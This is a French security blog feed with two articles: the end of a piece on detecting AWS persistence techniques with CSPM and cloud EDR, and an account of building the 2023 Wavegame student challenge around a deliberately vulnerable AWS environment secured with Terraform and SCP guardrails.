Une solution de Cloud Security Posture Management (CSPM) joue un rôle clé dans la prévention de ces abus. En surveillant en continu les configurations IAM, en détectant les politiques trop permissives et en identifiant les écarts par rapport aux référentiels de conformité, un CSPM peut mettre rapidement en évidence des changements suspects. Par exemple, il peut signaler la création de nouvelles clés d’accès pour des utilisateurs qui utilisent habituellement le SSO, ou détecter l’établissement de relations de confiance avec des comptes externes. Ces capacités aident à empêcher qu’une persistance basée sur IAM ne s’installe durablement.

EDR

Au-delà d’IAM, les attaquants peuvent exploiter directement les ressources AWS, telles que les fonctions Lambda et les instances EC2, pour maintenir un accès. L’article a détaillé comment des Lambda layers compromises, des rôles sur‑privilégiés et des tunnels inversés basés sur SSM peuvent être utilisés pour persister sans modifier directement IAM.

Un Cloud EDR complète un CSPM en se concentrant sur le comportement à l’exécution et le contexte d’exécution. Il peut détecter des exécutions Lambda inhabituelles, des expositions inattendues via API Gateway, ou des instances EC2 initiant des tunnels sortants. En corrélant ces comportements avec le contexte d’identité et les changements récents de configuration, un EDR Cloud peut mettre en lumière des techniques de persistance qui passeraient autrement inaperçues. Cette visibilité comportementale est essentielle pour détecter en temps réel la persistance basée sur les ressources.

Backup et journalisation

Enfin, l’article a exploré comment des attaquants peuvent altérer la visibilité et la capacité de récupération en ciblant les mécanismes de journalisation et de sauvegarde. La désactivation de CloudTrail, la modification des sélecteurs d’événements, le déploiement de politiques de cycle de vie pour une suppression silencieuse dans S3 ou le détachement de comptes d’une AWS Organization sont autant de techniques qui réduisent la supervision et permettent un compromis ou une destruction à long terme.

Là encore, un CSPM et un EDR Cloud offrent des défenses complémentaires. Un CSPM peut détecter des erreurs de configuration dans les pipelines de journalisation, des modifications non autorisées de politiques de cycle de vie ou des tentatives de quitter l’organisation. De son côté, un EDR Cloud peut repérer l’absence de télémétrie attendue, des baisses soudaines du volume de journaux ou des appels API destructeurs. Ensemble, ils garantissent que les capacités de visibilité et de récupération restent intactes, même en cas d’attaque active.

Cet article AWSDoor : Persistance sur AWS est apparu en premier sur RiskInsight.

Le Wavegame est un challenge inter-école créé en 2019 qui vise à promouvoir l’expertise cybersécurité et le métier du conseil. La compétition comporte deux volets, le premier étant réservé aux étudiants en commerce et le second aux étudiants en informatique. La partie technique consiste en 2 exercices de qualification et un événement final. Cet article aborde le deuxième exercice où, dans sa saison 2023, 33 équipes se sont affrontées autour de la sécurisation d’une infrastructure Cloud AWS. 

Sur fond d’une intrigue futuriste, les étudiants devenus consultants ont été mandatés par France Fusion, une entreprise chargée d’exploiter les premières usines à fusion nucléaire du pays. France Fusion souhaitait mettre au point une plateforme de supervision dans le Cloud. Pour ce faire, les données d’équipements industriels collectées, relevant de la propriété intellectuelle de France Fusion, devaient être analysées au travers d’une base de données ElasticSearch.  

Démarré sous la forme d’un Proof of Concept (PoC) en marge des équipes sécurité, une équipe de développeurs est parvenue à déployer une architecture fonctionnelle sur AWS. Les étudiants sont alors amenés à sécuriser l’infrastructure en respectant les politiques Cloud public de France Fusion. Le défi technique était de taille : déployer une infrastructure vulnérable en libre-service sur 33 comptes AWS. Il s’agissait également d’accorder aux étudiants un accès administrateur et les autorisations nécessaires pour effectuer des modifications directement depuis la console AWS, le tout avec un budget limité compte tenu du nombre de participants.  

Dans cet article, nous allons vous partager la recette qui a permis de faire de ce défi une réalité. 

Etape 1 : Mettre sur le papier une architecture portant une dimension pédagogique 

Avant de nous lancer dans le développement du coding game, nous avons pris en compte 4 contraintes :  

• La population cible : s’agissant d’étudiants, il est primordial de tenir compte de l’hétérogénéité en matière de connaissances Cloud. Par conséquent, nous nous sommes concentrés sur l’utilisation des services essentiels AWS (e.g., S3, EC2, Lambda), car ce sont des ressources bien documentées et parce que les étudiants sont susceptibles de les avoir abordés en classe ou dans le cadre de projets personnels. 
• Le thème : c’est un élément crucial pour immerger les étudiants dans un contexte de mission client. Nous avons donc cherché à créer une architecture aussi réaliste que possible. Ainsi, le choix de déployer une suite ELK (Elasticsearch, Logstash, Kibana) sur une instance EC2 nous a paru pertinent pour un PoC lié à de la supervision. 
• Les coûts : sachant que l’infrastructure doit être accessible par des étudiants pendant 2 semaines et qu’elle doit être répliquée sur 33 comptes AWS, nous avions tout intérêt à optimiser les coûts. Pour y parvenir, nous avons utilisé le calculateur de tarification AWS pour estimer les coûts, opté pour une région à faible coût et construit l’infrastructure autour de services « paiement à l’utilisation » tels que les fonctions Lambda. 
• Les échéances : pour faire face à un calendrier rapproché, nous avons défini des objectifs et des jalons avec une marge suffisante pour surmonter les éventuelles contraintes techniques. Les principales étapes du projet sont le développement, les tests, la création de comptes et le déploiement. 

Le schéma d’architecture « vulnérable » ci-dessous reflète ces 4 contraintes (Figure 1). L’équipement industriel est simulé par une fonction Lambda (Datalake) qui va générer des logs et les envoyer dans un bucket S3 (Datalake). Une seconde fonction Lambda (ELK) est alors déclenchée par une notification S3. Elle va récupérer le fichier de logs et l’envoyer dans la base ElasticSearch (image Docker dans une instance EC2). Enfin, l’interface Kibana est accessible depuis Internet pour l’analyse des logs.  

Figure 1 : schéma d’architecture initiale du Wavegame 2023 

Etape 2 : Concevoir une architecture sécurisée basée sur des politiques sécurité du Cloud public 

Maintenant que nous avons notre scénario initial, il s’agit de concevoir des politiques du Cloud public qui vont fixer les exigences sécurité et les critères d’évaluation. Pour cela, nous avons adapté des bonnes pratiques de sécurité mises en œuvre chez nos clients dont voici un extrait : 

• AWS-01 : Toutes les ressources AWS doivent utiliser des rôles IAM spécifiques à leurs besoins et respectant le principe du moindre privilège. 
• AWS-02 : Toutes les ressources AWS doivent être connectées et/ou attachées à un réseau privé (VPC). 
• AWS-03 : Les instances EC2 ne doivent pas être accessibles au public via Internet. 
• AWS-04 : Tous les logs d’infrastructure générés par les services AWS doivent être envoyés à CloudWatch. 
• AWS-05 : Le volume Amazon EBS racine doit être chiffré sur toutes les instances EC2. 
• AWS-06 : les données dans le bucket S3 doivent être chiffrées. 

À partir des politiques du Cloud public, nous avons élaboré l’architecture sécurisée suivante (Figure 2) : 

 Figure 2: schéma d’architecture cible du Wavegame 2023 

En résumé, l’ensemble des ressources Calcul sont positionnées dans un sous-réseau privé, le bucket S3 est accédé via un point de terminaison VPC, la plateforme de supervision ELK est accédée via une machine virtuelle de rebond. Les services Cloudwatch et CloudTrail sont activés pour le monitoring et la supervision. Des security groups sont attachés aux ressources pour n’autoriser que les communications entrantes strictement nécessaires. 

Etape 3 : passer du design au développement en Terraform 

Pour construire le coding game, nous avons créé et maintenu 2 architectures distinctes, représentées par 2 branches distinctes dans Github. La première étant l’architecture vulnérable qui sera déployée initialement, et la seconde étant la solution qui sert de garantie de faisabilité. Cette « garantie de faisabilité » signifie que 3 points obligatoires sont remplis : 

• Les permissions IAM doivent être suffisantes pour permettre au système de fonctionner correctement. 
• La configuration finale de l’infrastructure doit prendre en compte les cycles de vie des objets et leurs interactions. 
• L’expertise requise pour compléter le coding game doit être adaptée à la montée en compétence des étudiants sur une période de 2 semaines. 

Concernant le cycle de développement, plutôt que de suivre une approche linéaire, où l’on créerait d’abord le code pour l’infrastructure initiale, puis pour l’infrastructure cible, nous avons opté pour une approche agile avec la définition de blocs fonctionnels. Pour illustrer cette idée, le bloc « Lambda (ELK) -> S3 » vise à concevoir une fonction Lambda déclenchée dès qu’une notification S3 PutObject est générée, avec ou sans point de terminaison VPC. Bien que nous devions maintenir 2 configurations Terraform simultanément, cette approche nous a donné une plus grande agilité pour réévaluer nos choix techniques. Pour réduire davantage la redondance et assurer la maintenabilité, nous nous sommes aussi concentrés sur le développement de modules Terraform pour les objets Lambda et S3.   

Pour automatiser le déploiement des ressources dans notre Sandbox et dans nos comptes étudiants, nous avons créé une chaîne CI/CD simplifiée dans Github. Elle est constituée de 2 Github Actions. A travers une syntaxe YAML, les Github Actions permettent d’exécuter des tâches intégrées à AWS ou Hashicorp. Dans notre cas de figure, nous avions une tâche pour exécuter la commande terraform apply et une tâche pour appliquer la commande inverse terraform destroy.  

L’un des avantages des Github Actions est le fait de pouvoir stocker les identifiants d’accès à AWS dans Github Secrets au lieu du code source ou d’un fichier local. De plus, le stockage des états Terraform dans un bucket S3 facilite la collaboration. Un état Terraform est un fichier qui garde une trace de la configuration actuelle. Ainsi, chaque développeur configure sa clé S3 dans sa branche Github qui deviendra la référence de son état. 

Au fur et à mesure que le développement avançait, nous nous sommes rendu compte de l’ampleur de l’écart entre l’architecture initiale et l’architecture cible. La raison principale est que les logiques IAM et réseau sont très différentes. En conséquence, il est devenu essentiel d’effectuer des tests en conditions réelles, c’est-à-dire à partir de la console AWS, afin d’identifier les ruptures, les politiques bloquantes et d’évaluer la complexité. A titre d’exemple, l’un des tests nous a rappelé que le script de démarrage d’un EC2 appelé user-data n’est pas persistant après un redémarrage. Par conséquent, ce comportement a empêché la mise en œuvre de la politique de sécurité relative au chiffrement du volume racine Amazon EBS (AWS-05). 

Etape 4 : Déployer les environnements de manière sécurisée 

Dans le cadre de ce défi, nous étions sur le point d’accorder un accès privilégié à des étudiants dans un environnement pendant deux semaines pour lequel une surveillance ou une assistance individuelle constante est impossible. Bien que cette approche représente une meilleure opportunité d’apprentissage, elle soulève des scénarios de sécurité spécifiques que nous devons anticiper et atténuer. Parmi ceux-ci, le dépassement de budget était une préoccupation majeure, étant donné l’accès illimité et les ressources à leur disposition. Une autre menace importante est la possibilité pour les étudiants de s’élever au sein de l’organisation, d’obtenir des accès non prévus ou de se compromettre les uns avec les autres. Enfin, le risque de détournement des ressources à des fins non autorisées ou malveillantes n’est pas négligeable. Chacune de ces menaces doit faire l’objet d’un examen attentif afin de garantir un déploiement sûr et responsable. 

Pour ce coding game, nous avons opté pour une conception AWS multicomptes afin d’isoler les environnements de chaque équipe. Grâce à l’organisation AWS, nous avons simplifié l’administration, amélioré le contrôle des coûts et pu mettre en place des garde-fous à l’aide de politiques de contrôle de la sécurité (SCP). Dans la Figure 3, nous présentons notre organisation AWS, composée d’un compte admin et d’une Unité d’Organisation (UO) Wavegame qui héberge les comptes des équipes où l’infrastructure est déployée. Nous avons mis en place 3 SCP spécifiques pour : 

• Restreindre l’accès aux services AWS en dehors de la région désignée, us-east-1, en définissant une liste d’opérations autorisées. 
• Renforcer l’utilisation des types d’instance Amazon EC2 à du t2.micro ou t2.large (contrainte liée à l’environnement ElasticSearch). 
• Interdire aux comptes étudiants de supprimer ou de modifier une ressource dont la balise est « protected« . 

Par ailleurs, pour mieux gérer les coûts, en particulier pour une durée de deux semaines, nous avons mis en place une fonction Lambda pour fermer automatiquement les instances EC2 après 2 heures d’activité. Pour éviter toute modification non autorisée par les étudiants, cette fonction Lambda était l’une des ressources sécurisées avec la balise « protected« . 

Figure 3: Organisation AWS pour le Wavegame 2023 

Enfin, en plus de notre utilisateur IAM qui est administrateur de l’UO Wavegame via un rôle IAM, nous avons créé un utilisateur IAM avec le rôle AdministratorAccess pour chaque compte AWS, afin de donner de l’autonomie aux étudiants pendant le challenge. Ils ont notamment suffisamment de droits pour se créer des comptes nominatifs. 

Etape 5 : Se préparer au RUN et à la correction 

Une fois le coup d’envoi donné, les étudiants ont 2 semaines pour sécuriser les ressources dans leur compte AWS en suivant nos politiques sécurité du Cloud public. Avec autant de permissions, des erreurs de configuration cassantes peuvent vite survenir. Par exemple, un groupe a créé une politique S3 « Deny All« , ce qui l’a conduit à s’exclure lui-même, ainsi que toute autre personne, puisqu’aucun d’entre nous n’a les privilèges du compte racine. 

Pour faire face à ce genre de situation, nous avons mis en place le système de communication suivant : chaque équipe dispose d’un coach chargé de signaler les problèmes techniques à l’équipe organisatrice qui nous remonte ensuite les incidents. Nous avons ainsi pu enquêter et résoudre les problèmes ou communiquer rapidement avec eux sans recevoir trop de messages pour des questions simples auxquelles les coachs pouvaient répondre.  

Outre la gestion des incidents, notre rôle consistait également à surveiller les dépassements de budget. Pour ce faire, nous avons mis en place des alertes de coûts pour chaque compte AWS. Nous avons également développé un script pour suivre l’évolution du budget des équipes en temps réel. Cet outil s’est avéré très utile pour fournir une estimation du temps passé par les étudiants sur le défi et réagir en cas de dépenses anormales. Par exemple, deux jours après le début du défi, une alerte a été déclenchée en raison d’une défaillance de la fonction Lambda destinée à éteindre la machine virtuelle. 

Une fois que le défi s’est terminé avec peu d’incidents et que l’accès des étudiants a été révoqué, il était temps de procéder à l’évaluation pour déclarer les gagnants. Pour rappel, les étudiants devaient configurer leur compte AWS en conformité avec les politiques du Cloud public. Pour leur évaluation, nous avons utilisé deux mécanismes de notation : 

• Une évaluation automatique grâce au déploiement de règles gérées AWS Config à la fin du défi. Amazon fournit un ensemble de règles couvrant un pourcentage significatif des exigences. Par exemple, une règle permet de vérifier si le bucket S3 est chiffré (AWS-06). 
• Une évaluation manuelle basée sur des critères attendus et des étapes de vérification clairement documentées. 

Pour conclure, organiser un coding game est un challenge ambitieux qui nécessite des compétences Cloud public et Terraform, une organisation solide et des capacités de réaction face à des événements inattendus. Malgré les défis, c’est une opportunité exceptionnelle d’apprentissage. Pour les participants, le Wavegame offre une introduction immersive à la sécurité dans le Cloud public. Pour les organisateurs, le Wavegame est une expérience pratique sur le design, la conception et le maintien en condition opérationnelle d’une infrastructure dans le Cloud public. 

Cet article Comment construire un coding game Cloud public étape par étape ?  est apparu en premier sur RiskInsight.